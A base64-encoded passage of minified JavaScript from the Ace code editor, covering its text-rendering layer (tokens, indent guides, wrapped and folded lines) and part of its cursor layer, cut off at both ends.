3Rpb24oZSl7dGhpcy4kbGluZXMubW92ZUNvbnRhaW5lcihlKSx0aGlzLmNvbmZpZz1lO3ZhciB0PWUuZmlyc3RSb3csbj1lLmxhc3RSb3cscj10aGlzLiRsaW5lczt3aGlsZShyLmdldExlbmd0aCgpKXIucG9wKCk7ci5wdXNoKHRoaXMuJHJlbmRlckxpbmVzRnJhZ21lbnQoZSx0LG4pKX0sdGhpcy4kdGV4dFRva2VuPXt0ZXh0OiEwLHJwYXJlbjohMCxscGFyZW46ITB9LHRoaXMuJHJlbmRlclRva2VuSW5DaHVua3M9ZnVuY3Rpb24oZSx0LG4scil7dmFyIGk7Zm9yKHZhciBzPTA7czxyLmxlbmd0aDtzKz10aGlzLk1BWF9DSFVOS19MRU5HVEgpe3ZhciBvPXIuc3Vic3RyaW5nKHMscyt0aGlzLk1BWF9DSFVOS19MRU5HVEgpLHU9e3R5cGU6bi50eXBlLHZhbHVlOm99O2k9dGhpcy4kcmVuZGVyVG9rZW4oZSx0K3MsdSxvKX1yZXR1cm4gaX0sdGhpcy4kcmVuZGVyVG9rZW49ZnVuY3Rpb24oZSx0LG4scil7dmFyIGk9dGhpcyxvPS8oXHQpfCggKyl8KFtceDAwLVx4MWZceDgwLVx4YTBceGFkXHUxNjgwXHUxODBFXHUyMDAwLVx1MjAwZlx1MjAyOFx1MjAyOVx1MjAyRlx1MjA1Rlx1RkVGRlx1RkZGOS1cdUZGRkNcdTIwNjZcdTIwNjdcdTIwNjhcdTIwMkFcdTIwMkJcdTIwMkRcdTIwMkVcdTIwMkNcdTIwNjldKyl8KFx1MzAwMCl8KFtcdTExMDAtXHUxMTVGXHUxMUEzLVx1MTFBN1x1MTFGQS1cdTExRkZcdTIzMjktXHUyMzJBXHUyRTgwLVx1MkU5OVx1MkU5Qi1cdTJFRjNcdTJGMDAtXHUyRkQ1XHUyRkYwLVx1MkZGQlx1MzAwMS1cdTMwM0VcdTMwNDEtXHUzMDk2XHUzMDk5LVx1MzBGRlx1MzEwNS1cdTMxMkRcdTMxMzEtXHUzMThFXHUzMTkwLVx1MzFCQVx1MzFDMC1cdTMxRTNcdTMxRjAtXHUzMjFFXHUzMjIwLVx1MzI0N1x1MzI1MC1cdTMyRkVcdTMzMDAtXHU0REJGXHU0RTAwLVx1QTQ4Q1x1QTQ5MC1cdUE0QzZcdUE5NjAtXHVBOTdDXHVBQzAwLVx1RDdBM1x1RDdCMC1cdUQ3QzZcdUQ3Q0ItXHVEN0ZCXHVGOTAwLVx1RkFGRlx1RkUxMC1cdUZFMTlcdUZFMzAtXHVGRTUyXHVGRTU0LVx1RkU2Nlx1RkU2OC1cdUZFNkJcdUZGMDEtXHVGRjYwXHVGRkUwLVx1RkZFNl18W1x1RDgwMC1cdURCRkZdW1x1REMwMC1cdURGRkZdKS9nLHU9dGhpcy5kb20uY3JlYXRlRnJhZ21lbnQodGhpcy5lbGVtZW50KSxhLGY9MDt3aGlsZShhPW8uZXhlYyhyKSl7dmFyIGw9YVsxXSxjPWFbMl0saD1hWzNdLHA9YVs0XSxkPWFbNV07aWYoIWkuc2hvd1NwYWNlcyYmYyljb250aW51ZTt2YXIgdj1mIT1hLmluZGV4P3Iuc2xpY2UoZixhLmluZGV4KToiIjtmPWEuaW5kZXgrYVswXS5sZW5ndGgsdiYmdS5hcHBlbmRDaGlsZCh0aGlzLmRvbS5jcmVhdGVUZXh0Tm9kZSh2LHRoaXMuZWxlbWVudCkpO2lmKGwpe3ZhciBtPWkuc2Vzc2lvbi5nZXRTY3JlZW5UYWJTaXplKHQrYS5pbmRleCk7dS5hcHBlbmRDaGlsZChpLiR0YWJTdHJpbmdzW21dLmNsb25lTm9kZSghMCkpLHQrPW0tMX1lbHNlIGlmKGMpaWYoaS5zaG93U3BhY2VzKXt2YXIgZz10aGlzLmRvbS5jcmVhdGVFbGVtZW50KCJzcGFuIik7Zy5jbGFzc05hbWU9ImFjZV9pbnZpc2libGUgYWNlX2ludmlzaWJsZV9zcGFjZSIsZy50ZXh0Q29udGVudD1zLnN0cmluZ1JlcGVhdChpLlNQQUNFX0NIQVIsYy5sZW5ndGgpLHUuYXBwZW5kQ2hpbGQoZyl9ZWxzZSB1LmFwcGVuZENoaWxkKHRoaXMuY29tLmNyZWF0ZVRleHROb2RlKGMsdGhpcy5lbGVtZW50KSk7ZWxzZSBpZihoKXt2YXIgZz10aGlzLmRvbS5jcmVhdGVFbGVtZW50KCJzcGFuIik7Zy5jbGFzc05hbWU9ImFjZV9pbnZpc2libGUgYWNlX2ludmlzaWJsZV9zcGFjZSBhY2VfaW52YWxpZCIsZy50ZXh0Q29udGVudD1zLnN0cmluZ1JlcGVhdChpLlNQQUNFX0NIQVIsaC5sZW5ndGgpLHUuYXBwZW5kQ2hpbGQoZyl9ZWxzZSBpZihwKXt0Kz0xO3ZhciBnPXRoaXMuZG9tLmNyZWF0ZUVsZW1lbnQoInNwYW4iKTtnLnN0eWxlLndpZHRoPWkuY29uZmlnLmNoYXJhY3RlcldpZHRoKjIrInB4IixnLmNsYXNzTmFtZT1pLnNob3dTcGFjZXM/ImFjZV9jamsgYWNlX2ludmlzaWJsZSBhY2VfaW52aXNpYmxlX3NwYWNlIjoiYWNlX2NqayIsZy50ZXh0Q29udGVudD1pLnNob3dTcGFjZXM/aS5TUEFDRV9DSEFSOnAsdS5hcHBlbmRDaGlsZChnKX1lbHNlIGlmKGQpe3QrPTE7dmFyIGc9dGhpcy5kb20uY3JlYXRlRWxlbWVudCgic3BhbiIpO2cuc3R5bGUud2lkdGg9aS5jb25maWcuY2hhcmFjdGVyV2lkdGgqMisicHgiLGcuY2xhc3NOYW1lPSJhY2VfY2prIixnLnRleHRDb250ZW50PWQsdS5hcHBlbmRDaGlsZChnKX19dS5hcHBlbmRDaGlsZCh0aGlzLmRvbS5jcmVhdGVUZXh0Tm9kZShmP3Iuc2xpY2UoZik6cix0aGlzLmVsZW1lbnQpKTt2YXIgZz10aGlzLmRvbS5jcmVhdGVFbGVtZW50KCJzcGFuIik7aWYoIXRoaXMuJHRleHRUb2tlbltuLnR5cGVdKXt2YXIgeT0iYWNlXyIrbi50eXBlLnJlcGxhY2UoL1wuL2csIiBhY2VfIik7bi50eXBlPT0iZm9sZCImJihnLnN0eWxlLndpZHRoPW4udmFsdWUubGVuZ3RoKnRoaXMuY29uZmlnLmNoYXJhY3RlcldpZHRoKyJweCIpLGcuY2xhc3NOYW1lPXl9cmV0dXJuIGcuYXBwZW5kQ2hpbGQodSksZS5hcHBlbmRDaGlsZChnKSx0K3IubGVuZ3RofSx0aGlzLnJlbmRlckluZGVudEd1aWRlPWZ1bmN0aW9uKGUsdCxuKXt2YXIgcj10LnNlYXJjaCh0aGlzLiRpbmRlbnRHdWlkZVJlKTtpZihyPD0wfHxyPj1uKXJldHVybiB0O2lmKHRbMF09PSIgIil7ci09ciV0aGlzLnRhYlNpemU7dmFyIGk9ci90aGlzLnRhYlNpemU7Zm9yKHZhciBzPTA7czxpO3MrKyllLmFwcGVuZENoaWxkKHRoaXMuJHRhYlN0cmluZ3NbIiAiXS5jbG9uZU5vZGUoITApKTtyZXR1cm4gdGhpcy4kaGlnaGxpZ2h0SW5kZW50R3VpZGUoKSx0LnN1YnN0cihyKX1pZih0WzBdPT0iCSIpe2Zvcih2YXIgcz0wO3M8cjtzKyspZS5hcHBlbmRDaGlsZCh0aGlzLiR0YWJTdHJpbmdzWyIJIl0uY2xvbmVOb2RlKCEwKSk7cmV0dXJuIHRoaXMuJGhpZ2hsaWdodEluZGVudEd1aWRlKCksdC5zdWJzdHIocil9cmV0dXJuIHRoaXMuJGhpZ2hsaWdodEluZGVudEd1aWRlKCksdH0sdGhpcy4kaGlnaGxpZ2h0SW5kZW50R3VpZGU9ZnVuY3Rpb24oKXtpZighdGhpcy4kaGlnaGxpZ2h0SW5kZW50R3VpZGVzfHwhdGhpcy5kaXNwbGF5SW5kZW50R3VpZGVzKXJldHVybjt0aGlzLiRoaWdobGlnaHRJbmRlbnRHdWlkZU1hcmtlcj17aW5kZW50TGV2ZWw6dW5kZWZpbmVkLHN0YXJ0OnVuZGVmaW5lZCxlbmQ6dW5kZWZpbmVkLGRpcjp1bmRlZmluZWR9O3ZhciBlPXRoaXMuc2Vzc2lvbi5kb2MuJGxpbmVzO2lmKCFlKXJldHVybjt2YXIgdD10aGlzLnNlc3Npb24uc2VsZWN0aW9uLmdldEN1cnNvcigpLG49L15ccyovLmV4ZWModGhpcy5zZXNzaW9uLmRvYy5nZXRMaW5lKHQucm93KSlbMF0ubGVuZ3RoLHI9TWF0aC5mbG9vcihuL3RoaXMudGFiU2l6ZSk7dGhpcy4kaGlnaGxpZ2h0SW5kZW50R3VpZGVNYXJrZXI9e2luZGVudExldmVsOnIsc3RhcnQ6dC5yb3d9O3ZhciBpPXRoaXMuc2Vzc2lvbi4kYnJhY2tldEhpZ2hsaWdodDtpZihpKXt2YXIgcz10aGlzLnNlc3Npb24uJGJyYWNrZXRIaWdobGlnaHQucmFuZ2VzO2Zvcih2YXIgbz0wO288cy5sZW5ndGg7bysrKWlmKHQucm93IT09c1tvXS5zdGFydC5yb3cpe3RoaXMuJGhpZ2hsaWdodEluZGVudEd1aWRlTWFya2VyLmVuZD1zW29dLnN0YXJ0LnJvdyx0LnJvdz5zW29dLnN0YXJ0LnJvdz90aGlzLiRoaWdobGlnaHRJbmRlbnRHdWlkZU1hcmtlci5kaXI9LTE6dGhpcy4kaGlnaGxpZ2h0SW5kZW50R3VpZGVNYXJrZXIuZGlyPTE7YnJlYWt9fWlmKCF0aGlzLiRoaWdobGlnaHRJbmRlbnRHdWlkZU1hcmtlci5lbmQmJmVbdC5yb3ddIT09IiImJnQuY29sdW1uPT09ZVt0LnJvd10ubGVuZ3RoKXt0aGlzLiRoaWdobGlnaHRJbmRlbnRHdWlkZU1hcmtlci5kaXI9MTtmb3IodmFyIG89dC5yb3crMTtvPGUubGVuZ3RoO28rKyl7dmFyIHU9ZVtvXSxhPS9eXHMqLy5leGVjKHUpWzBdLmxlbmd0aDtpZih1IT09IiIpe3RoaXMuJGhpZ2hsaWdodEluZGVudEd1aWRlTWFya2VyLmVuZD1vO2lmKGE8PW4pYnJlYWt9fX10aGlzLiRyZW5kZXJIaWdobGlnaHRJbmRlbnRHdWlkZSgpfSx0aGlzLiRjbGVhckFjdGl2ZUluZGVudEd1aWRlPWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy4kbGluZXMuY2VsbHM7Zm9yKHZhciB0PTA7dDxlLmxlbmd0aDt0Kyspe3ZhciBuPWVbdF0scj1uLmVsZW1lbnQuY2hpbGROb2RlcztpZihyLmxlbmd0aD4wKWZvcih2YXIgaT0wO2k8ci5sZW5ndGg7aSsrKWlmKHJbaV0uY2xhc3NMaXN0JiZyW2ldLmNsYXNzTGlzdC5jb250YWlucygiYWNlX2luZGVudC1ndWlkZS1hY3RpdmUiKSl7cltpXS5jbGFzc0xpc3QucmVtb3ZlKCJhY2VfaW5kZW50LWd1aWRlLWFjdGl2ZSIpO2JyZWFrfX19LHRoaXMuJHNldEluZGVudEd1aWRlQWN0aXZlPWZ1bmN0aW9uKGUsdCl7dmFyIG49dGhpcy5zZXNzaW9uLmRvYy5nZXRMaW5lKGUucm93KTtpZihuIT09IiIpe3ZhciByPWUuZWxlbWVudC5jaGlsZE5vZGVzO2lmKHIpe3ZhciBpPXJbdC0xXTtpJiZpLmNsYXNzTGlzdCYmaS5jbGFzc0xpc3QuY29udGFpbnMoImFjZV9pbmRlbnQtZ3VpZGUiKSYmaS5jbGFzc0xpc3QuYWRkKCJhY2VfaW5kZW50LWd1aWRlLWFjdGl2ZSIpfX19LHRoaXMuJHJlbmRlckhpZ2hsaWdodEluZGVudEd1aWRlPWZ1bmN0aW9uKCl7aWYoIXRoaXMuJGxpbmVzKXJldHVybjt2YXIgZT10aGlzLiRsaW5lcy5jZWxsczt0aGlzLiRjbGVhckFjdGl2ZUluZGVudEd1aWRlKCk7dmFyIHQ9dGhpcy4kaGlnaGxpZ2h0SW5kZW50R3VpZGVNYXJrZXIuaW5kZW50TGV2ZWw7aWYodCE9PTApaWYodGhpcy4kaGlnaGxpZ2h0SW5kZW50R3VpZGVNYXJrZXIuZGlyPT09MSlmb3IodmFyIG49MDtuPGUubGVuZ3RoO24rKyl7dmFyIHI9ZVtuXTtpZih0aGlzLiRoaWdobGlnaHRJbmRlbnRHdWlkZU1hcmtlci5lbmQmJnIucm93Pj10aGlzLiRoaWdobGlnaHRJbmRlbnRHdWlkZU1hcmtlci5zdGFydCsxKXtpZihyLnJvdz49dGhpcy4kaGlnaGxpZ2h0SW5kZW50R3VpZGVNYXJrZXIuZW5kKWJyZWFrO3RoaXMuJHNldEluZGVudEd1aWRlQWN0aXZlKHIsdCl9fWVsc2UgZm9yKHZhciBuPWUubGVuZ3RoLTE7bj49MDtuLS0pe3ZhciByPWVbbl07aWYodGhpcy4kaGlnaGxpZ2h0SW5kZW50R3VpZGVNYXJrZXIuZW5kJiZyLnJvdzx0aGlzLiRoaWdobGlnaHRJbmRlbnRHdWlkZU1hcmtlci5zdGFydCl7aWYoci5yb3c8PXRoaXMuJGhpZ2hsaWdodEluZGVudEd1aWRlTWFya2VyLmVuZClicmVhazt0aGlzLiRzZXRJbmRlbnRHdWlkZUFjdGl2ZShyLHQpfX19LHRoaXMuJGNyZWF0ZUxpbmVFbGVtZW50PWZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMuZG9tLmNyZWF0ZUVsZW1lbnQoImRpdiIpO3JldHVybiB0LmNsYXNzTmFtZT0iYWNlX2xpbmUiLHQuc3R5bGUuaGVpZ2h0PXRoaXMuY29uZmlnLmxpbmVIZWlnaHQrInB4Iix0fSx0aGlzLiRyZW5kZXJXcmFwcGVkTGluZT1mdW5jdGlvbihlLHQsbil7dmFyIHI9MCxpPTAsbz1uWzBdLHU9MCxhPXRoaXMuJGNyZWF0ZUxpbmVFbGVtZW50KCk7ZS5hcHBlbmRDaGlsZChhKTtmb3IodmFyIGY9MDtmPHQubGVuZ3RoO2YrKyl7dmFyIGw9dFtmXSxjPWwudmFsdWU7aWYoZj09MCYmdGhpcy5kaXNwbGF5SW5kZW50R3VpZGVzKXtyPWMubGVuZ3RoLGM9dGhpcy5yZW5kZXJJbmRlbnRHdWlkZShhLGMsbyk7aWYoIWMpY29udGludWU7ci09Yy5sZW5ndGh9aWYocitjLmxlbmd0aDxvKXU9dGhpcy4kcmVuZGVyVG9rZW5JbkNodW5rcyhhLHUsbCxjKSxyKz1jLmxlbmd0aDtlbHNle3doaWxlKHIrYy5sZW5ndGg+PW8pdT10aGlzLiRyZW5kZXJUb2tlbkluQ2h1bmtzKGEsdSxsLGMuc3Vic3RyaW5nKDAsby1yKSksYz1jLnN1YnN0cmluZyhvLXIpLHI9byxhPXRoaXMuJGNyZWF0ZUxpbmVFbGVtZW50KCksZS5hcHBlbmRDaGlsZChhKSxhLmFwcGVuZENoaWxkKHRoaXMuZG9tLmNyZWF0ZVRleHROb2RlKHMuc3RyaW5nUmVwZWF0KCJcdTAwYTAiLG4uaW5kZW50KSx0aGlzLmVsZW1lbnQpKSxpKyssdT0wLG89bltpXXx8TnVtYmVyLk1BWF9WQUxVRTtjLmxlbmd0aCE9MCYmKHIrPWMubGVuZ3RoLHU9dGhpcy4kcmVuZGVyVG9rZW5JbkNodW5rcyhhLHUsbCxjKSl9fW5bbi5sZW5ndGgtMV0+dGhpcy5NQVhfTElORV9MRU5HVEgmJnRoaXMuJHJlbmRlck92ZXJmbG93TWVzc2FnZShhLHUsbnVsbCwiIiwhMCl9LHRoaXMuJHJlbmRlclNpbXBsZUxpbmU9ZnVuY3Rpb24oZSx0KXt2YXIgbj0wO2Zvcih2YXIgcj0wO3I8dC5sZW5ndGg7cisrKXt2YXIgaT10W3JdLHM9aS52YWx1ZTtpZihyPT0wJiZ0aGlzLmRpc3BsYXlJbmRlbnRHdWlkZXMpe3M9dGhpcy5yZW5kZXJJbmRlbnRHdWlkZShlLHMpO2lmKCFzKWNvbnRpbnVlfWlmKG4rcy5sZW5ndGg+dGhpcy5NQVhfTElORV9MRU5HVEgpe3RoaXMuJHJlbmRlck92ZXJmbG93TWVzc2FnZShlLG4saSxzKTtyZXR1cm59bj10aGlzLiRyZW5kZXJUb2tlbkluQ2h1bmtzKGUsbixpLHMpfX0sdGhpcy4kcmVuZGVyT3ZlcmZsb3dNZXNzYWdlPWZ1bmN0aW9uKGUsdCxuLHIsaSl7biYmdGhpcy4kcmVuZGVyVG9rZW5JbkNodW5rcyhlLHQsbixyLnNsaWNlKDAsdGhpcy5NQVhfTElORV9MRU5HVEgtdCkpO3ZhciBzPXRoaXMuZG9tLmNyZWF0ZUVsZW1lbnQoInNwYW4iKTtzLmNsYXNzTmFtZT0iYWNlX2lubGluZV9idXR0b24gYWNlX2tleXdvcmQgYWNlX3RvZ2dsZV93cmFwIixzLnRleHRDb250ZW50PWk/IjxoaWRlPiI6IjxjbGljayB0byBzZWUgbW9yZS4uLj4iLGUuYXBwZW5kQ2hpbGQocyl9LHRoaXMuJHJlbmRlckxpbmU9ZnVuY3Rpb24oZSx0LG4peyFuJiZuIT0wJiYobj10aGlzLnNlc3Npb24uZ2V0Rm9sZExpbmUodCkpO2lmKG4pdmFyIHI9dGhpcy4kZ2V0Rm9sZExpbmVUb2tlbnModCxuKTtlbHNlIHZhciByPXRoaXMuc2Vzc2lvbi5nZXRUb2tlbnModCk7dmFyIGk9ZTtpZihyLmxlbmd0aCl7dmFyIHM9dGhpcy5zZXNzaW9uLmdldFJvd1NwbGl0RGF0YSh0KTtpZihzJiZzLmxlbmd0aCl7dGhpcy4kcmVuZGVyV3JhcHBlZExpbmUoZSxyLHMpO3ZhciBpPWUubGFzdENoaWxkfWVsc2V7dmFyIGk9ZTt0aGlzLiR1c2VMaW5lR3JvdXBzKCkmJihpPXRoaXMuJGNyZWF0ZUxpbmVFbGVtZW50KCksZS5hcHBlbmRDaGlsZChpKSksdGhpcy4kcmVuZGVyU2ltcGxlTGluZShpLHIpfX1lbHNlIHRoaXMuJHVzZUxpbmVHcm91cHMoKSYmKGk9dGhpcy4kY3JlYXRlTGluZUVsZW1lbnQoKSxlLmFwcGVuZENoaWxkKGkpKTtpZih0aGlzLnNob3dFT0wmJmkpe24mJih0PW4uZW5kLnJvdyk7dmFyIG89dGhpcy5kb20uY3JlYXRlRWxlbWVudCgic3BhbiIpO28uY2xhc3NOYW1lPSJhY2VfaW52aXNpYmxlIGFjZV9pbnZpc2libGVfZW9sIixvLnRleHRDb250ZW50PXQ9PXRoaXMuc2Vzc2lvbi5nZXRMZW5ndGgoKS0xP3RoaXMuRU9GX0NIQVI6dGhpcy5FT0xfQ0hBUixpLmFwcGVuZENoaWxkKG8pfX0sdGhpcy4kZ2V0Rm9sZExpbmVUb2tlbnM9ZnVuY3Rpb24oZSx0KXtmdW5jdGlvbiBpKGUsdCxuKXt2YXIgaT0wLHM9MDt3aGlsZShzK2VbaV0udmFsdWUubGVuZ3RoPHQpe3MrPWVbaV0udmFsdWUubGVuZ3RoLGkrKztpZihpPT1lLmxlbmd0aClyZXR1cm59aWYocyE9dCl7dmFyIG89ZVtpXS52YWx1ZS5zdWJzdHJpbmcodC1zKTtvLmxlbmd0aD5uLXQmJihvPW8uc3Vic3RyaW5nKDAsbi10KSksci5wdXNoKHt0eXBlOmVbaV0udHlwZSx2YWx1ZTpvfSkscz10K28ubGVuZ3RoLGkrPTF9d2hpbGUoczxuJiZpPGUubGVuZ3RoKXt2YXIgbz1lW2ldLnZhbHVlO28ubGVuZ3RoK3M+bj9yLnB1c2goe3R5cGU6ZVtpXS50eXBlLHZhbHVlOm8uc3Vic3RyaW5nKDAsbi1zKX0pOnIucHVzaChlW2ldKSxzKz1vLmxlbmd0aCxpKz0xfX12YXIgbj10aGlzLnNlc3Npb24scj1bXSxzPW4uZ2V0VG9rZW5zKGUpO3JldHVybiB0LndhbGsoZnVuY3Rpb24oZSx0LG8sdSxhKXtlIT1udWxsP3IucHVzaCh7dHlwZToiZm9sZCIsdmFsdWU6ZX0pOihhJiYocz1uLmdldFRva2Vucyh0KSkscy5sZW5ndGgmJmkocyx1LG8pKX0sdC5lbmQucm93LHRoaXMuc2Vzc2lvbi5nZXRMaW5lKHQuZW5kLnJvdykubGVuZ3RoKSxyfSx0aGlzLiR1c2VMaW5lR3JvdXBzPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuc2Vzc2lvbi5nZXRVc2VXcmFwTW9kZSgpfSx0aGlzLmRlc3Ryb3k9ZnVuY3Rpb24oKXt9fSkuY2FsbChhLnByb3RvdHlwZSksdC5UZXh0PWF9KSxkZWZpbmUoImFjZS9sYXllci9jdXJzb3IiLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvbGliL2RvbSJdLGZ1bmN0aW9uKGUsdCxuKXsidXNlIHN0cmljdCI7dmFyIHI9ZSgiLi4vbGliL2RvbSIpLGk9ZnVuY3Rpb24oZSl7dGhpcy5lbGVtZW50PXIuY3JlYXRlRWxlbWVudCgiZGl2IiksdGhpcy5lbGVtZW50LmNsYXNzTmFtZT0iYWNlX2xheWVyIGFjZV9jdXJzb3ItbGF5ZXIiLGUuYXBwZW5kQ2hpbGQodGhpcy5lbGVtZW50KSx0aGlzLmlzVmlzaWJsZT0hMSx0aGlzLmlzQmxpbmtpbmc9ITAsdGhpcy5ibGlua0ludGVydmFsPTFlMyx0aGlzLnNtb290aEJsaW5raW5nPSExLHRoaXMuY3Vyc29ycz1bXSx0aGlzLmN1cnNvcj10aGlzLmFkZEN1cnNvcigpLHIuYWRkQ3NzQ2xhc3ModGhpcy5lbGVtZW50LCJhY2VfaGlkZGVuLWN1cnNvcnMiKSx0aGlzLiR1cGRhdGVDdXJzb3JzPXRoaXMuJHVwZGF0ZU9wYWNpdHkuYmluZCh0aGlzKX07KGZ1bmN0aW9uKCl7dGhpcy4kdXBkYXRlT3BhY2l0eT1mdW5jdGlvbihlKXt2YXIgdD10aGlzLmN1cnNvcnM7Zm9yKHZhciBuPXQubGVuZ3RoO24tLTspci5zZXRTdHlsZSh0W25dLnN0eWxlLCJvcGFjaXR5IixlPyIiOiIwIil9LHRoaXMuJHN0YXJ0Q3NzQW5pbWF0aW9uPWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5jdXJzb3JzO2Zvcih2YXIgdD1lLmxlbmd0aDt0LS07KWVbdF0uc3R5bGUuYW5pbWF0aW9uRHVyYXRpb249dGhpcy5ibGlua0ludGVydmFsKyJtcyI7dGhpcy4kaXNBbmltYXRpbmc9ITAsc2V0VGltZW91dChmdW5jdGlvbigpe3RoaXMuJGlzQW5pbWF0aW5nJiZyLmFkZENzc0NsYXNzKHRoaXMuZWxlbWVudCwiYWNlX2FuaW1hdGUtYmxpbmtpbmciKX0uYmluZCh0aGlzKSl9LHRoaXMuJHN0b3BDc3NBbmltYXRpb249ZnVuY3Rpb24oKXt0aGlzLiRpc0FuaW1hdGluZz0hMSxyLnJlbW92ZUNzc0NsYXNzKHRoaXMuZWxlbWVudCwiYWNlX2FuaW1hdGUtYmxpbmtpbmciKX0sdGhpcy4kcGFkZGluZz0wLHRoaXMuc2V0UGFkZGluZz1mdW5jdGlvbihlKXt0aGlzLiRwYWRkaW5nPWV9LHRoaXMuc2V0U2Vzc2lvbj1mdW5jdGlvbihlKXt0aGlzLnNlc3Npb249ZX0sdGhpcy5zZXRCbGlua2luZz1mdW5jdGlvbihlKXtlIT10aGlzLmlzQmxpbmtpbmcmJih0aGlzLmlzQmxpbmtpbmc9ZSx0aGlzLnJlc3RhcnRUaW1lcigpKX0sdGhpcy5zZXRCbGlua0ludGVydmFsPWZ1bmN0aW9uKGUpe2UhPXRoaXMuYmxpbmtJbnRlcnZhbCYmKHRoaXMuYmxpbmtJbnRlcnZhbD1lLHRoaXMucmVzdGFydFRpbWVyKCkpfSx0aGlzLnNldFNtb290aEJsaW5raW5nPWZ1bmN0aW9uKGUpe2UhPXRoaXMuc21vb3RoQmxpbmtpbmcmJih0aGlzLnNtb290aEJsaW5raW5nPWUsci5zZXRDc3NDbGFzcyh0aGlzLmVsZW1lbnQsImFjZV9zbW9vdGgtYmxpbmtpbmciLGUpLHRoaXMuJHVwZGF0ZUN1cnNvcnMoITApLHRoaXMucmVzdGFydFRpbWVyKCkpfSx0aGlzLmFkZEN1cnNvcj1mdW5jdGlvbigpe3ZhciBlPXIuY3JlYXRlRWxlbWVudCgiZGl2Iik7cmV0dXJuIGUuY2xhc3NOYW1lPSJhY2VfY3Vyc29yIix0aGlzLmVsZW1lbnQuYXBwZW5kQ2hpbGQoZSksdGhpcy5jdXJzb3JzLnB1c2goZSksZX0sdGhpcy5yZW1vdmVDdXJzb3I9ZnVuY3Rpb24oKXtpZih0aGlzLmN1cnNvcnMubGVuZ3RoPjEpe3ZhciBlPXRoaXMuY3Vyc29ycy5wb3AoKTtyZXR1cm4gZS5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKGUpLGV9fSx0aGlzLmhpZGVDdXJzb3I9ZnVuY3Rpb24oKXt0aGlzLmlzVmlzaWJsZT0hMSxyLmFkZENzc0NsYXNzKHRoaXMuZWxlbWVudCwiYWNlX2hpZGRlbi1jdXJzb3JzIiksdGhpcy5yZXN0YXJ0VGltZXIoKX0sdGhpcy5zaG93Q3Vyc29yPWZ1bmN0aW9uKCl7dGhpcy5pc1Zpc2libGU9ITAsci5yZW1vdmVDc3NDbGFzcyh0aGlzLmVsZW1lbnQsImFjZV9oaWRkZW4tY3Vyc29ycyIpLHRoaXMucmVzdGFydFRpbWVyKCl9LHRoaXMucmVzdGFydFRpbWVyPWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy4kdXBkYXRlQ3Vyc29ycztjbGVhckludGVydmFsKHRoaXMuaW50ZXJ2YWxJZCksY2xlYXJUaW1lb3V0KHRoaXMudGltZW91dElkKSx0aGlzLiRzdG9wQ3NzQW5pbWF0aW9uKCksdGhpcy5zbW9vdGhCbGlua2luZyYmKHRoaXMuJGlzU21vb3RoQmxpbmtpbmc9ITEsci5yZW1vdmVDc3NDbGFzcyh0aGlzLmVsZW1lbnQsImFjZV9zbW9vdGgtYmxpbmtpbmciKSksZSghMCk7aWYoIXRoaXMuaXNCbGlua2luZ3x8IXRoaXMuYmxpbmtJbnRlcnZhbHx8IXRoaXMuaXNWaXNpYmxlKXt0aGlzLiRzdG9wQ3NzQW5pbWF0aW9uKCk7cmV0dXJufXRoaXMuc21vb3RoQmxpbmtpbmcmJih0aGlzLiRpc1Ntb290aEJsaW5raW5nPSEwLHNldFRpbWVvdXQoZnVuY3Rpb24oKXt0aGlzLiRpc1Ntb290aEJsaW5raW5nJiZyLmFkZENzc0NsYXNzKHRoaXMuZWxlbWVudCwiYWNlX3Ntb290aC1ibGlua2luZyIpfS5iaW5kKHRoaXMpKSk7aWYoci5IQVNfQ1NTX0FOSU1BVElPTil0aGlzLiRzdGFydENzc0FuaW1hdGlvbigpO2Vsc2V7dmFyIHQ9ZnVuY3Rpb24oKXt0aGlzLnRpbWVvdXRJZD1zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7ZSghMSl9LC42KnRoaXMuYmxpbmtJbnRlcnZhbCl9LmJpbmQodGhpcyk7dGhpcy5pbnRlcnZhbElkPXNldEludGVydmFsKGZ1bmN0aW9uKCl7ZSghMCksdCgpfSx0aGlzLmJsaW5rSW50ZXJ2YWwpLHQoKX19LHRoaXMuZ2V0UGl4ZWxQb3NpdGlvbj1mdW5jdGlvbihlLHQpe2lmKCF0aGlzLmNvbmZpZ3x8IXRoaXMuc2Vzc2lvbilyZXR1cm57bGVmdDowLHRvcDowfTtlfHwoZT10aGlzLnNlc3Npb24uc2VsZWN0aW9uLmdldEN1cnNvcigpKTt2YXIgbj10aGlzLnNlc3Npb24uZG9jdW1lbnRUb1NjcmVlblBvc2l0aW9uKGUpLHI9dGhpcy4kcGFkZGluZysodGhpcy5zZXNzaW9uLiRiaWRpSGFuZGxlci5pc0JpZGlSb3cobi5yb3csZS5yb3cpP3RoaXMuc2Vzc2lvbi4kYmlkaUhhbmRsZXIuZ2V0UG9zTGVmdChuLmNvbHVtbik6bi5jb2x1bW4qdGhpcy5jb25maWcuY2hhcmFjdGVyV2lkdGgpLGk9KG4ucm93LSh0P3RoaXMuY29uZmlnLmZpcnN0Um93U2NyZWVuOjApKSp0aGlzLmNvbmZpZy5saW5lSGVpZ2h0O3JldHVybntsZWZ0OnIsdG9wOml9fSx0aGlzLmlzQ3Vyc29ySW5WaWV3PWZ1bmN0aW9uKGUsdCl7cmV0dXJuIGUudG9wPj0wJiZlLnRvcDx0Lm1heEhlaWdodH0sdGhpcy51cGRhdGU9ZnVuY3Rpb24oZSl7dGhpcy5jb25maWc9ZTt2YXIgdD10aGlzLnNlc3Npb24uJHNlbGVjdGlvbk1hcmtlcnMsbj0wLGk9MDtpZih0PT09dW5kZWZpbmVkfHx0Lmxlbmd0aD09PTApdD1be2N1cnNvcjpudWxsfV07Zm9yKHZhciBuPTAscz10Lmxlbmd0aDtuPHM7bisrKXt2YXIgbz10aGlzLmdldFBpeGVsUG9zaXRpb24odFtuXS5jdXJzb3IsITApO2lmKChvLnRvcD5lLmhlaWdodCtlLm9mZnNldHx8by50b3A8MCkmJm4+MSljb250aW51ZTt2YXIgdT10aGlzLmN1cnNvcnNbaSsrXXx8dGhpcy5hZGRDdXJzb3IoKSxhPXUuc3R5bGU7dGhpcy5kcmF3Q3Vyc29yP3RoaXMuZHJhd0N1cnNvcih1LG8sZSx0W25dLHRoaXMuc2Vzc2lvbik6dGhpcy5pc0N1cnNvckluVmlldyhvLGUpPyh